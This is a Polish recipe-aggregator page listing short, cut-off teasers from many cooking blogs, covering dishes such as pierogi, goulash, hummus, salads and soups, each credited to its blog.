grubsze plastry, podaję z ziemniakami z wody, pieczonymi lub kopytkami oraz surówką, dowolnymi sałatami i winegretem, warzywami z wody lub pieczonymi. Świetnie będzie pasowała także młoda kapusta, buraczki lub sos pieczarkowy ze śmietanką i świeżo skrojonym koprem. Polecam surówkę z marchewki oraz surówkę z pora , idealnie łączą się smakiem z białym mięsem. Soczysta pierś kurczaka pieczona z szynką dojrzewającą SKŁADNIKI

Zasmakuj Kuchni
SMAŻONE PIEROŻKI SEROWE 140

najwyższa pora! Dziś mam dla Was przepis na genialne smażone pierogi z nadzieniem serowym. Świetne jako przekąska, dodatek do obiadu albo imprezowe danie. Wspaniale smakują solo albo np. z sosem czosnkowym. Robi się je błyskawicznie! I zawsze się udają! Gorąco polecam! SKŁADNIKI: CIASTO: * mąka pszenna – 0,5 kg * jajko – 1 szt * woda – 0,5 szkl * oliwa

Ostra na Słodko
Hummus z suszonymi pomidorami 165

Hummus zastępuje mi masło, majonez, dip do podjadania z warzywami lub sos np. do pasztetów, więc robię go często. Żeby mi się nie znudził, przygotowuję go z różnymi dodatkami. W ten sposób pasta zyskuje na kolorze i smaku. Tradycyjnie do hummusu dodaje się sok z cytryny, za którym ja nie przepadam. W przypadku suszonych pomidorów ten dodatek jest zbyteczny. Składniki

Weekendy w domu i ogrodzie
chrupiące placki ziemniaczane po mojemu 155

oleju =mięso z rosołu ,posiekane,lub inne ugotowane =1/2 szklanki (około 8 dag) pszennej mąki =sól do smaku =świeżo zmielony czarny pieprz = ser cheddar ,lub dowolny =ketchup lub inny sos do wyboru =oliwki =ser mozzarella w kulkach =pare pieczarek usmażonych do smażenia: olej Wykonanie Ziemniaki ugotowane i przeciśniete przełożyć do miski. Surowe ,obrane i umyte  ziemniaki zetrzeć

mojej kuchni
chrupiące placki ziemniaczane po mojemu 204

oleju =mięso z rosołu ,posiekane,lub inne ugotowane =1/2 szklanki (około 8 dag) pszennej mąki =sól do smaku =świeżo zmielony czarny pieprz = ser cheddar ,lub dowolny =ketchup lub inny sos do wyboru =oliwki =ser mozzarella w kulkach =pare pieczarek usmażonych do smażenia: olej Wykonanie Ziemniaki ugotowane i przeciśniete przełożyć do miski. Surowe ,obrane i umyte  ziemniaki zetrzeć

w mojej kuchni
Ser paneer przepis 136

paneer to podstawa indyjskiej kuchni, produkt wykorzystywany w pysznych sosach, do smażenia czy sałatek. Czasem możecie kupić ten ser w naszych sklepach, choć trudno go znaleźć. Ale to nie problem, wystarczy tylko kilka chwil i 2 litry mleka, a ser możesz zrobić w prosty sposób w domu. A jeśli zastanawiasz się co zrobić z przygotowanym serem, polecam Ci sałatkę

nietylkopasta.pl
Domowe krakersy z solą i rozmarynem 217

rozmarynem są supercieniutkie i bardzo aromatyczne – sprawdzą się nie tylko jako przekąska na imprezę czy na domowy wieczór z Netflix’em, ale będą też świetnym dodatkiem do przeróżnych dipów, sosów, sals, past, zup kremów, grillowanych sałatek czy hummusu . Odmierzamy sobie potrzebną ilość ciepłej, ale nie gorącej wody (w temperaturze 45-50°C), wsypujemy do niej cukier i suszone drożdże, mieszamy

Karo in the Kitchen
Iberyjski gulasz z łopatki z dynią 164

pomidory z puszki , ziele , liść laurowy , kozieradkę , brązowy cukier , sól i pieprz do smaku . Dusimy pod przykryciem na małym ogniu do czasu aż mięso zrobi się mięciutkie . Około godziny . Sos powinien się sam zredukować , trzeba tylko uważać ,żeby danie się nie przypaliło i mieszać od czasu , do czasu . Serwujemy na gorąco , świetne z ryżem Smacznego !   Artykuł Iberyjski gulasz

Ogrodnik w podróży
Kofta-warzywne kulki 189

Zdrowa i smaczna przystawka z kuchni indyjskiej. Śmiało można kuleczkami zastąpić ziemniaki. Ciekawy smak, doskonale komponuje się z kurczakiem i różnymi sosami . Myślę , że z innym mięsem będzie równie smaczne. Polecam. Składniki 1/2 małego kalafiora kilka różyczek brokuła 2 średnie marchewki natka pietruszki sólo,pieprz do smaku olej do smażenia 4 łyżki mąki … Czytaj dalej Kofta-warzywne kulki

gotuj ze mną
Menu na tydzień: Zdrowe przepisy dla zakochanych 150

winogronami i jabłkiem Potrawa znana od Iranu po Amerykę Południową, przygotowywana na setki sposobów. Świetne danie na niedzielny obiad. Upieczony kurczak z chrupiącą skórką nurza się w słodko-kwaśnym sosie z pieczonych winogron, szalotek, czosnku i jabłka. Przepisy na kolejne dania będziemy tradycyjnie zamieszczać codziennie rano . Tak gotowaliśmy Przygotowywanie menu na ten tydzień było generalnie łatwe i przyjemne, gdyż dwie

Niedzielny kucharz
GULASZ CZERWONY WEGETARIAŃSKI 198

mięsa. Moja wersja vege jest wspaniała. Delikatny smak dzięki czerwonej soczewicy podsycony papryczką chilli. Wspaniały!!  Idealne dopełnienie do niedzielnego obiadu uwieńczyły kopytka i surówka z kapusty pekińskiej zaprawiana sosem balsamicznym. Będąc wegetarianką już pełną gębą doceniłam smak, wartości odżywcze soczewicy, gdzie wcześniej nawet się nią nie zainteresowałam. No ale już nie ma co pisać, czas na degustację. Smacznego ☺️☺️☺️☺️ Składniki

pieprzny smaczek
Butter chicken (kurczak w maślanym sosie) 155

Murgh Makhani, czyli kurczak w maśle – Murgh to kurczak, Makhani to masło. To … Przeczytaj cały artykuł Artykuł <span>Butter chicken</span> (kurczak w maślanym sosie) pochodzi z serwisu My Blueberry Corner

My Blueberry Corner
Zakupy w bee.pl - trochę o tym, co ostatnio robię 192

cudowne! :D Mieszając 2 łyżki mleka w proszku i wody otrzymamy szklankę mleka kokosowego. Ja jednak wolę dodawać go do różnych dań - do kawy kokosowej, pomidorowego gulaszu (świetnie zagęszcza sos i nadaje mu lekko słodki, kokosowy smak), czy fit słodyczy. Zachęcam do odwiedzenia sklepu, znajdziecie tam mnóstwo fantastycznych produktów

DefinicjaSmaku
Surówka z czerwonej kapusty 214

czerwonej kapusty z dodatkiem marchewki oraz winegretem na bazie octu jabłkowego jest lekka i zdrowa, dzięki czemu idealnie sprawdzi się jako dodatek do mięs (pieczonych lub duszonych w sosie) np. kurczaka na ostro . Polecam! Surówka z czerwonej kapusty Składniki:  pół główki średniej wielkości czerwonej kapusty 2-3 marchewki pęczek dymki 1 nieduża czerwona cebula Winegret: 1 łyżka musztardy gruboziarnistej

Codzienne Gotowanie
Gulasz z indyka z ciecierzycą 186

oregano roztartą w palcach. Wszystko dokładnie wymieszać i doprawić do smaku solą i pieprzem. Do mięsa dodać odsączoną ciecierzycę i gotować przez kilka kolejnych minut, aby się podgrzała. Sos w razie potrzeby doprawić do smaku.  Gulasz z indyka z ciecierzycą podawać z ryżem lub makaronem przybrany świeżą kolendrą.  Smacznego

Codzienne Gotowanie
Naleśniki ze szparagami 221

naleśniki. Jest to doskonała opcja na spotkanie w gronie przyjaciół: co może być lepszego niż delikatny smak szparagów otulonych lekkim ciastem naleśnikowym. Naleśniki możecie podawać same lub z dodatkiem sosu beszamelowego. Polecamy Wam również nasze inne przepisy na naleśniki . Składniki na ciasto: 1 szklanka mleka 2 szklanki mąki 1 szklanka wody gazowanej 2 łyżki oleju 1 jajko Składniki na farsz

FoodMagazine.pl - Przepisy kulinarne
TOMTEGRÖT – SZWEDZKI ŚWIĄTECZNY RYŻ NA MLEKU 136

opcji tylko z cynamonem, w bardziej „skomplikowanej” z cynamonem, miodem, migdałami i tartym jabłkiem **istnieje też opcja, i jest to wersja również tradycyjna, by podać Tomtegröt z sosem zrobionym z soku wymieszanego z wodą i mąką ziemniaczaną i podgrzewanego aż nieco zgęstnieje Artykuł TOMTEGRÖT – SZWEDZKI ŚWIĄTECZNY RYŻ NA MLEKU pochodzi z serwisu SandraFrej.com

SandraFrej.com
4 przepisy na tosty na słodko i słono 360

strony lub do czasu aż będą ładnie zrumienione. Tosty przekładamy na talerze, podajemy z dowolnymi dodatkami, np. sałatką z rukoli, pomidorami i sosem winegret. TOST Z JAJKIEM, AWOKADO, SZPINAKIEM I MAJONEZEM CZOSNKOWYM SKŁADNIKI  (2 tosty) Tosty 6 kromek pieczywa tostowego 1 awokado 2 jajka 50 g szpinaku sałatkowego s ó l, pieprz

La grande e la piccola cuoca
Pierogi al forno 166

wyschną Oczywiście to nie wszystkie sposoby, bo tu ludzka wyobraźnia bywa nieograniczona. Ja postanowiłem pokazać Wam jeszcze inny sposób, który po polsku nazywałby się pierogi za...ne sosem , ale, że chcemy go lepiej sprzedać, a do tego wymagany jest odpowiedni marketing, nazwiemy to tak, jakby nazwali to mistrzowie marketingu, którzy nawet śmieciowe jedzenie potrafią wcisnąć jako gourmet :) Składniki: - wczorajsze pierogi

Kryzysowa Książka Kucharska
Czekoladowy Dutch Baby z bananem i sosem czekoladowym 153

wlać ciasto. Włożyć ponownie patelnię do piekarnika i piec ok 20 minut. Zagotować śmietankę i zdjąć z ognia, dodać pokruszone kostki czekolady. Wymieszać. Wypieczony naleśnik dekorować owocami i polać sosem czekoladowym. Posypać cukrem pudrem

AZgotuj!
Zupa czosnkowa 154

dodałam kwaśnej śmietany, gdyż ona nadałaby zupie lekko kwaskowatego smaku. Zupę podać można z grzankami, ryżem lub groszkiem ptysiowym. Lubisz czosnek? Jeśli tak to wypróbuj nasz przepis na Sos czosnkowy . The post Zupa czosnkowa appeared first on MeCooks

mecooks
Makaron ze szpinakiem w sosie jogurtowym w wersji FIT 211

niezamierzenie jest wegetariańskie, ale równie dobrze można do niego dodać kawałki piersi kurczaka czy indyka lub, aby nadal zachować roślinny klimat pokrojone tofu. Wszystko idealnie ze sobą współgra, a sos jogurtowy przeszedł moje najśmielsze oczekiwania. Zatem pozostaje mi już tylko zachęcić Was do samodzielnego przygotowania takiego makaronu ze szpinakiem w Waszych domach.  Składniki (2 porcje): 1 cebula

Zdrowie na języku :P
Makaron z twarogiem i śmietaną 146

zgodnie z instrukcją na opakowaniu) , a następnie przecedź w durszlaku. W osobnym naczyniu wymieszaj cukier, cukier waniliowy, śmietanę oraz pokruszony ser. Dodaj ugotowany makaron i całość wymieszaj lub słodki sos wyłóż na makaron w talerzach. Smacznego!   Do dania doskonale nadadzą się: świderki, kokardki, kolanka, muszelki, wstążki itp Możesz dodać owoce… truskawki, maliny, wiśnie, czereśnie, morele, jagody, borówki, jeżyny

Kulinarne S.O.S.
GRZYBOWY TAORT MAKARONOWY 153

wystudzenia. Jajka, śmietanę, śmietankę, tymianek, natkę pietruszki, 2/3 sera oraz pieczarki. Mieszamy. Dolewamy sok z cytryny i mieszamy. Brzegi tortownicy smarujemy masłem lub olejem. Wykładamy połowę makaronu. zalewamy sosem ziołowo-pieczarkowym. a następnie wykładamy drugą część makaronu. Wierzch posypujemy serem. Pieczemy w piekarniku nagrzanym do 180 st przez ok 20 minut. Po upieczeniu posypujemy nasz makaronowy tort odrobiną natką pietruszki

Kuchnia w oparach
Kasza jaglana z mięsem i sosem bolońskim 168

Jednogarnkowe smaczne danie z kaszą jaglaną w roli głównej z pysznym sosem bolońskim, bardzo łatwe do przygotowania , zamiast tradycyjnego obiadu. To solidny posiłek który po powrocie z pracy szybko zrobimy, bo całość zajmuje nam raptem 40 minut aby najeść się do syta.   Danie podałam na patelni Tefal  z bardzo fajnego zestawu z garnkami który można znaleźć

Wanilia i Kardamon
Farszynki Z Duszoną, Kiszoną, Kapustą 237

bądź podłużny i obtaczamy w mące ;) 5. Smażymy na rozgrzanym oleju, na niewielkim gazie do momentu, aż farszynki się ładnie zrumienią z obydwóch stron. Podajemy z ulubioną surówką, barszczykiem, sosem bądź same. Smacznego

Gotowanie...to proste !
Słodko-słony wywiad dla VIVA! 148

drodze do sukcesu. A co zrobić, gdy sernik wyjdzie za suchy lub za mało puszysty? Jeśli zdarzy się nam, że nasz sernik wyjdzie suchy, można „zamaskować” ten fakt aromatycznym sosem z owoców, wykorzystując go jako polewę do sernika. Ale aby taka sytuacja nie zaistniała, można temu zapobiec, dodając do masy serowej na etapie przygotowywania ciasta nieco śmietanki kremówki

Raj dla Podniebienia
Leczo 266

Myślę, że leczo to potrawa, która w każdym domu może być przygotowana nieco inaczej, ale i tak zawsze smakuje świetnie. Dla mnie leczo to obowiązkowo papryka, cukinia, sos pomidorowy i kiełbasa (lub chorizo), podane z ugotowanym z ryżem. Warzywa nie powinny być zbyt miękkie, a pozostać lekko jędrne i chrupiące. Tak smakuje mi najbardziej. 4 różnokolorowe papryki

Smaki Na Talerzu
Co jeść i jak dbać o zęby by by były zdrowe i białe? 205

kwestia genów oraz diety. Wybielanie zębów może okazać się konieczne częściej w sytuacjach, gdy sięgamy częściej po takie produkty jak czarna kawa i mocne herbaty, czerwone wino, a nawet sos sojowy, ocet balsamiczny czy słodycze oraz słodkie owoce.   Na szczęście w obecnych czasach można łatwiej poradzić sobie z uzyskaniem białego uśmiechu. Poza wizytą w profesjonalnym gabinecie dentystycznym można zdziałać

Słodkie okruszki
Pieczone bataty z piekarnika 203

dotykały piec w 200*C 20-25 minut. Czas pieczenia zależy od wielkości pokrojonych kawałków podawać gorące z ulubionymi dodatkami. Poniżej przepis na filet z kaczki w pomarańczowym sosie z batatami (przepis  tutaj

Gotuj zdrowo!Guten Appetit!
Golonka indycza pieczona 197

golonkę wieprzową, przyrządzaną na różne sposoby. Dzisiaj mam dla Was propozycję golonki ale indyczej. Nie co mniej kaloryczna a równie smaczna. Danie treściwe, można podawać samodzielnie , dobrze smakuje z sosem czosnkowym, równie doskonała jest w duecie z ryżem. Polecam. Składniki 3 indycze golonki 1 średnia marchew 1/2 główki czosnku … Czytaj dalej Golonka indycza pieczona

gotuj ze mną
Ser wegański, serek z nerkowców 189

poniżej). Poniższy przepis na Ser wegański to baza, którą możecie dowolnie modyfikować. W zależności od ilości użytej wody, możecie uzyskać bardziej lub mniej gęstą konsystencję. Możecie nawet stworzyć wegański sos z nerkowców , np. do pizzy lub makaronu, jeśli dolejecie jeszcze więcej wody (wówczas proponuję zwiększyć ilość płatków drożdżowych, bo w przeciwnym wypadku rozrzedzimy zbytnio smak). Ser wegański bardzo lubi wszelkie

Moja Delicja
Szybki i pyszny filet z kurczaka z patelni 153

żadnej roboty. Nie ma potem masy rzeczy do mycia i pół uwalonej kuchni. A cała rodzinka zachwycona. U nas filet z kurczaka był z warzywami pieczonymi i sosem czosnkowym, ale świetny będzie również z ryżem czy zwykłymi gotowanymi ziemniakami. Filet możecie doprawić w dowolny sposób, takimi przyprawami jakie lubicie. Ja użyłam soli, pieprzu, ziół prowansalskich i czosnku na mięsko oraz

Mieszam w Garnku
GULASZ WEGETARIAŃSKI 168

łodyżki oddzielnie) 3 łyżki czerwonej soczewicy 3 łyżki czerwonego wytrawnego wina 1 szklanka gorącego bulionu lub wody 1 łyżka koncentratu pomidorowego PRZYPRAWY: sól, świeżo zmielony czarny pieprz, 1 łyżka sosu sojowego, po 1 łyżeczce: słodkiej papryki w proszku, wędzonej papryki w proszku i suszonego tymianku; 1 listek laurowy, 2 kulki ziela angielskiego, szczypta chili w proszku lub płatkach opcjonalnie

cool and minty
Odrywane bułeczki a'la pizza margherita (Danubio alla pizza margherita) 226

Pyszne, odrywane kawałki puszystego ciasta drożdżowego w formie bułeczek  z dodatkiem sosu pomidorowego, mozzarelli i suszonego oregano to moja propozycja dla wszystkich miłośników włoskiej pizzy margherita. Bułeczki n ajlepsze s ą  jeszcze na ciepło prosto z piekarnika a smakują i pachną cudownie, po prostu n iebo w gębie, polecam Wam serdecznie

La grande e la piccola cuoca
Indyk na kanapki pieczony z żurawiną i miodem 150

żaroodpornego i podlać wcześniej przygotowanym bulionem. 4. Wstawiamy do piekarnika nagrzanego do 180 stopni. Pieczemy od 1,5 do 2 godzin. Mięso od czasu do czasu możemy podlać powstającym sosem. Mięso możemy podawać na ciepło i będzie na pewno świetne na kanapki

kruche babeczki
KAPUŚNIAK Z KISZONEJ KAPUSTY NA ŻEBERKACH: domowy przepis, składniki i przyprawy 157

zagotować, dodać pokrojone ziemniaki i ugotować. Następnie dołożyć kiszoną kapustę oraz mięso z żeberek - podgotować, ale nie rozgotować kapusty, która powinna zostać chrupka. Kapuśniak doprawić solą, pieprzem i ewentualnie sosem sojowym. Można dodać mieloną czerwoną paprykę. Na koniec podsmażyć na smalcu posiekaną cebulę i dodać do kapuśniaku. Kapuśniak podajemy gorący z pieczywem, albo ugotowanym oddzielnie grochem. Zupę można okrasić skwarkami

Moja Książka Kucharska
BIAŁA KAPUSTA DO OBIADU 148

zasmażkę. Krok 3. Gotową zasmażkę przełożyć do rondla z ugotowaną kapustą, doprawić do smaku solą, pieprzem, ziołami i sokiem z cytryny. Można ewentualnie dodać jeszcze odrobinę cukru albo jasnego sosu sojowego. Jeszcze chwilę podsmażyć i gotowe. Przed podaniem, białą kapustę posypać posiekanym koperkiem albo natką pietruszki. Białą kapustę podajemy jako dodatek do obiadu. Najlepsza do pieczonych żeberek, golonki, schabowego

Moja Książka Kucharska
SURÓWKA Z KISZONYCH OGÓRKÓW I CEBULI do obiadu 168

koperkiem i pieprzem. Surówka z kiszonych ogórków to świetny dodatek do obiadu, surówka najlepiej smakuje z kotletami schabowymi panierowanymi w płatkach owsianych albo z potrawką z kurczaka w białym sosie. Wypróbowany, prosty przepis na surówkę obiadową z kiszonych ogórków. Korzystajcie z niego i ulepszajcie go:) Polecam. Surówka z kiszonych ogórków i cebuli da obiadu Oto składniki i przyprawy na surówkę

Moja Książka Kucharska
Kanapka Monte Cristo 854

rozgrzewamy klarowane masło i układamy na nim kanapki. Obsmażamy je z 2 stron na złoty kolor. Kanapka Monte Cristo może być podana z cukrem pudrem i dżemem, polecam również sos z musztardy francuskiej. Wioleta Gargula

MamaOskarka
Babeczki śniadaniowe z kiełbasą myśliwską, selerem naciowym i pomidorkami 157

porcje ciasta do 3/4 wysokości foremki.Przed pieczeniem w każdą porcję ciasta można włożyć plasterek kiełbasy.  Pieczemy w temperaturze 180 stopni do suchego patyczka. Podajemy z ketchupem lub dowolnym sosem, np: czosnkowym. Życzę smacznego

Sama słodycz i szczypta chili
Zupa z soczewicą i dynią piżmową 175

czerwonej soczewicy kawałek pora 500 g passaty 1,5 litra bulionu drobiowego natka pietruszki 1/2 łyżeczki kurkumy 1 łyżeczka oregano sól pieprz 1/2 szklanki śmietanki 18% do zup i sosów 1 łyżka oliwy z oliwek 1. Ja bulion ugotowałam na udkach z kurczaka. Po ugotowaniu wyjęłam je, ostudziłam i obrałam. Mięso później dodałam do zupy. Warzywa: dynię obieramy, kroimy

kruche babeczki
Gulasz z łopatki 224

dosmacz pieprzem,ale delikatnie. Na koniec duszenia dodaj papryki:ostrą i słodką do smaku. Całość dodaj do mięsa, dopraw majerankiem i sprawdź czy nie potrzeba soli, pieprzu. Ubrać trochę sosu do kubka, zahartować śmietanę 18 % i dodać do gulaszu. Delikatnie zamieszać. Odstawić, aby lekko się przegryzło! Smacznego

Z Kuchni Do Kuchni
Wygodnie, zdrowo- Aquaphor 160

przefiltrowanej wody ), Zastosowanie- my wodę z tego dzbanka stosujemy praktycznie do wszytskiego: gotujemy wodę w czajniku np na mleko dla dziecka , pijemy bezpośrednio , używamy do zup , sosów , do mycia zębów... Moje obserwacje : stosując ten dzbanek zauważyła nie tylko oszczędność pieniędzy , zero kamienia w czajniku , wygodę  ale również to , że zawsze mam czystą , świeżą i zdrową wodę pod ręką

Gotowanie Patki
Restauracja Ratuszowa w Nowym Sączu 155

znajomością sztuki, przygotowany z mięsa z fasolą. Generalnie w Ratuszowej jest raj dla tych, którzy lubią dobrze zjeść, tradycyjne i czasem trochę już zapomniane potrawy. Na ozorki w sosie chrzanowym tylko do Nowego Sącza. Pyszna kaszanka z kapustą i ziemniakami. Tak, w Ratuszowej smaczne są również ziemniaki. Gołąbki prawie idealne (jak wiadomo, moje domowe są idealne ;) ). Jeżeli zawitacie do Nowego

królestwo garów
Knedle z mięsem (z rosołu) 243

lekko ją spłaszczyć. 5. Gotować w lekko osolonym wrzątku, na małym ogniu do momentu, aż nie wypłyną na powierzchnię. Wyłowić łyżką cedzakową. 6. Podawać wedle uznania np. z sosem, zrumienioną cebulką lub boczkiem. Smacznego

Kuchnia domowa Ani
Bolońska zapiekanka makaronowa z pieczarkami 214

Doprawić łyżeczką ziół prowansalskich. Zdjąć z ognia w momencie zagotowania się pomidorów. Do naczynia żaroodpornego przełożyć ugotowany makaron oraz połowę żółtego sera. Wymieszać. Następnie dodać przygotowane mięso mielone z sosem i ponownie wymieszać. Zapiekankę posypać pozostałą częścią sera. Piec w nagrzanym piekarniku do temperatury 180 stopni przez około 30 minut. ( Do momentu, aż ser się zarumieni. Smacznego! Zapraszam was również

Kulinarne przygody
ROLADKI SCHABOWE ZE SZPINAKIEM I SEREM FETA + FILMIK 133

doprawiamy solą i tymiankiem, podpiekamy na patelni na której smażyły się zrazy. Podlewamy wodą aby zmiękła. Na koniec wlewamy rozmieszaną śmietanę z mąką i wodę, zagotowujemy z zakręcamy. Sos szybko gęstnieje więc w razie konieczności dolewamy jeszcze wody lub mleka. Na dno na czynie do zapiekania rozkładamy porcję cebuli, na to układamy roladki i znowu cebula, posypujemy serem

Kulinarne Fantazje Marioli
Pavlova z granatem 240

tortu. W misce ubijamy śmietanę, serek mascarpone oraz dodajemy  2 łyżki cukru. Miksujemy do połączenia składników. Masę wykładamy na bezę  i układamy na niej owoce granatu. Polewamy sosem (syrop grenadyna wymieszana z rumem. Gotowe : ) Artykuł Pavlova z granatem pochodzi z serwisu I LOVE LIFE

I LOVE LIFE
Jak przygotować majonez 235

Jak przygotować majonez Jak przygotować majonez Dzisiaj chciałam pokazać jak można przygotować majonez. Aby przygotować majonez potrzebujemy jedno żółtko 250 ml oleju, sól, pieprz i musztardę

Podstawy Gotowania
Pasztet z cukinii 274

będzie stałym bywalcem w menu. Taki pasztet można jeść solo, z chlebkiem i masełkiem jako kanapeczkę a nawet na gorąco jako dodatek do obiadu. Można go podać z jakimś sosem hmm rozmarzyłam się . Składniki: 3 cukinie (około 1 kg) 1 marchew 2 cebule 2-3 ząbki czosnku 0.5 szklanki oleju 3 jajka 1,5 szklanki kaszy manny po garści posiekanej

Mam apetyt na ...
Rozgrzewająca fit zupa brokułowa – idealna na zimę 165

serem feta Kotlet z fileta indyka w zdrowej panierce kukurydzianej Zapiekane roladki z polędwiczki wołowej otulone boczkiem Lekki obiad: makaron z łososiem, cukinią i pomidorem Domowe gnocchi w sosie szpinakowym z fetą Trudność Początkujący Czas przygotowania 15 min. Czas gotowania 15 min. Całkowity czas 30 min. USTAW TIMER SKŁADNIKI (ILOŚĆ NA 2 PORCJE)   1 średniej wielkości brokuł

A to pestka
Aromatyczny pasztet z czarnej fasoli 167

grube, a żółta cebula jest za słodka, przy dłuższej obróbce termicznej zacznie się przypalać i rozpadać. Tutaj kawałki cebuli powinny być widoczne i wyczuwalne na podniebieniu – to nie przecierany sos. Szalotki dostaniecie bez problemu w każdym większym markecie i dyskoncie. W wersji całkowicie wegańskiej nie ma żadnego problemu żebyście zamiast masła klarowanego (smażymy szalotki długo, zwykłe masło się nie nadaje

Karo in the Kitchen
Orama lub Chanum- kazachska rolada z mięsa mielonego z marchewką i cukinią w cieście 172

małym ogniu przez około 40-45 minut. Z resztą składników postąpić w ten sam sposób, zrobić drugą roladę i ugotować w ten sam sposób. Podawać Chanum ze śmietaną lub sosem czosnkowym. Smacznego Orama lub Chanum- kazachska rolada z mięsa mielonego z marchewką i cukinią w cieście Orama lub Chanum- kazachska rolada z mięsa mielonego z marchewką i cukinią w cieście

Smaki Armine
KARKÓWKA PIECZONA W KETCHUPIE I CEBULI 138

cienkie piórka. Do miseczki wlać wodę, dodać ketchup, koncentrat pomidorowy, musztardę sarepską oraz wszystkie przyprawy, wymieszać. Na dnie naczynia żaroodpornego układać na zmianę mięso i cebulę, całość zalać przygotowanym sosem. Piec w piekarniku nagrzanym do 170'C około 1 godziny i 20 minut pod przykryciem, następnie zdjąć pokrywkę i piec przez kolejne 10-15 minut

Zrób to smacznie
Szybka sałatka z tuńczykiem, jajkami, marchewką i groszkiem 155

śniadanie, kolacja, czy też zwykła przekąska. Jeśli lubicie to możecie do niej dodać ogórka konserwowego lub kiszonego, ale moją ulubioną wersją jest ta zaprezentowana. Polecam! 1 puszka tuńczyka w sosie własnym 2 jajka 1 puszka marchewki z groszkiem (lub 1/2 puszki groszku i 1 ugotowana marchewka) 1 cebula (mała) Ponadto: 2-3 łyżki majonezu 1 łyżeczka musztardy sól, pieprz Jajka

Di gotuje
Kiełbaski a’la cukierki 148

Ciekawa przekąska,dość prosta w przygotowaniu. Myślę,że z przyjemnością z dodatkiem różnych sosów każdy posmakuje. Ładnie wygląda i świetnie smakuje. Składniki 1/2 cebuli 15 dkg kiszonej kapusty 50 ml soku jabłkowego sólo,pieprz ciasto francuskie mrożone 9 małych parówek 1/2 szklanki kwaśnej śmietany 2 łyżki musztardy 1 łyżka masła 1 łyżka koncentratu pomidorowego Cebulę obrać drobno … Czytaj dalej

gotuj ze mną
Kapsalon czyli holenderski fast food 165

fryzjerskiego często stołował się w imbisie za rogiem, gdzie namiętnie zajadał się szoarmą. Pewnego dnia postanowił wszystkie swoje ulubione składniki połączyć w jedno danie, czyli mięso, frytki, sałatkę i sos. Danie nazwano je właśnie kapsalon i mimo że jest wielką bombą kaloryczną zyskało uznanie i można je dostać prawie w każdym imbisie w Holandii oraz Belgii. Czytaj więcej

Bernika - moj kulinarny pamietnik
Naleśniki jak faworki 209

posmarowanej tłuszczem cienkie naleśniki. Naleśniki zwinąć w rulonik i pociąć na 3-4 części ( w zależności od wielkości). Smaż na głębokim, rozgrzanym oleju na złoty kolor.Podawać np z sosem czekoladowym

Moje domowe kucharzenie
Tradycyjny barszcz ukraiński 182

być najpierw podsmażone. Prawdziwy tradycyjny barszcz ukraiński często wzbogacany jest tzw. sało - solonym boczkiem, który dodaje się pod koniec gotowania.. Zupę podaje się z małymi bułeczkami - pampuszkami polanymi sosem czosnkowym. Tradycyjny barszcz ukraiński powinien być gęsty, bogaty w składniki, których liczba może dochodzić do 20. Jest to typowe danie jednogarnkowe, które doskonale smakuje także odgrzewane następnego dnia. Tradycyjny barszcz

Cztery Fajery
Paprykarz do słoików 425

smażymy około 10 minut. Do warzyw dodajemy pomidory z puszki, koncentrat pomidorowy. Dusimy na małym ogniu, aż warzywa będą miękkie, a płyn z pomidorów zredukuje się i powstanie gęsty sos. Przyprawiamy solą, pieprzem, słodką i ostrą papryką.  Do lekko przestudzonych warzyw dodajemy ryż i mięso z ryb. Dokładnie mieszamy i w razie potrzeby przyprawiamy do smaku. Słoiki z paprykarzem

Gotowanie jest łatwe
Pulled pork, czyli szarpana wieprzowina 244

godzin w programie 2 (high). Po upieczeniu pozostawić mięso by "odpoczęło", a następnie za pomocą widelców poszarpać na mniejsze kawałki i włókna i wymieszać z powstałym podczas pieczenia sosem. Smacznego

Obiad gotowy
Duszony indyk z czosnkiem niedźwiedzim 170

Jakiś czas temu dostałam w prezencie ogromną pakę z przyprawami. Po odchyleniu wieka pudełka okazało się, że większości z nich nie znajdę w osiedlowym spożywczaku. Przy

gotować!
Muszle makaronowe nadziane powidłem śliwkowym i białym serem, na słodko... 177

twarogu) mały słoik powideł  śliwkowych 3 łyżki cukru  waniliowego Skworcu 2 łyżki  rodzynków Skworcu 1 łyżka śmietany 18% 2-3 łyżki   pistacji Skworcu 1 jajko Sos; 200 ml śmietanki kremówki 1 jajko 1 łyżka cukru waniliowego  Skworcu z prawdziwą wanilią 1 łyżka mąki ziemniaczanej Przygotowanie; Muszle gotujemy al. dente. W misce dokładnie  mieszamy

Radość kipiąca uśmiechem.
Naleśniki ze szpinakiem 198

przesmażony szpinak i ser mimolette oraz tuńczyka z posiekanym anchois. Wkładamy jeszcze raz na patelnie i dusimy pod przykryciem ok. 1 minutę aż ser się rozpuści.Naleśniki podajemy z sosem jogurtowo-szczypiorkowym udekorowane pomidorkami koktajlowymi

KUCHNIA POLSKA
Kurczak po indyjsku 209

wszystkich stron na dużym ogniu. Następnie zmniejszamy ogień i dusimy przez ok. 15 min pod przykryciem. Na koniec dodajemy śmietanę i dokładnie mieszamy, powinien powstać gęsty, ciemno żółty sos. Dusimy jeszcze 5 min. Podajemy posypane posiekanym koperkiem. Podajemy z ryżem jaśminowym Artykuł Kurczak po indyjsku pochodzi z serwisu I LOVE LIFE

I LOVE LIFE
Sałatka z buraków i cebuli 114

przypomnę, włącza mi się straszny chcieizm. Mowa oczywiście o tytułowej sałatce. Nie jadłam jej dobre paręnaście lat, nie wiem właściwie czemu. Wciągnęliśmy ją parę dni temu z klopsikami w sosie musztardowym. Oesu, petarda. Składniki: 4 średnie buraki 1 cebula 1 łyżeczka octu winnego pół łyżeczki cukru sól pieprz 1 łyżka oleju rzepakowego (ja użyłam z pierwszego tłoczenia) Buraki gotujemy

Kardamonovy
Odrywany chlebek z kurczakiem i serowym środkiem 193

Kolejny hit wśród imprezowych przekąsek. Można go podać na zimno jak i na ciepło. Z sosem czosnkowym smakuje rewelacyjnie. Dodatek masła sprawia, że chlebek ma maślany posmak. Bogaty środek sprawia, że danie jest bardzo syte! Ciasto: 2 szklanki mąki pszennej 0,5 łyżeczki soli 0,5 łyżeczki cukru 3 łyżki oleju rzepakowego 20 g świeżych drożdży ¾ szklanki ciepłej wody Farsz

VioletoweKucharzenie
Drożdżówki z boczkiem, serem i cebulą 173

przepadam bardzo za drożdżówkami w wersji wytrawnej. Uwielbiam te słodkie też, absolutnie nie mówię że nie, jednak coraz częściej kupuję czy robię w domu właśnie drożdżówki, które bazują na sosie pomidorowym, wędlinie i serze. Drożdżówki wytrawne możecie wykorzystać na przyjęciach. Wystarczy zrobić kilka okazów o średniej wielkości i wyłożyć na talerzyk. Znikną w mgnieniu oka. Jeśli zdecydujecie się na wypróbowanie

mecooks
SAŁATAKA Z TUŃCZYKIEM, MAKARONEM I WARZYWAMI 155

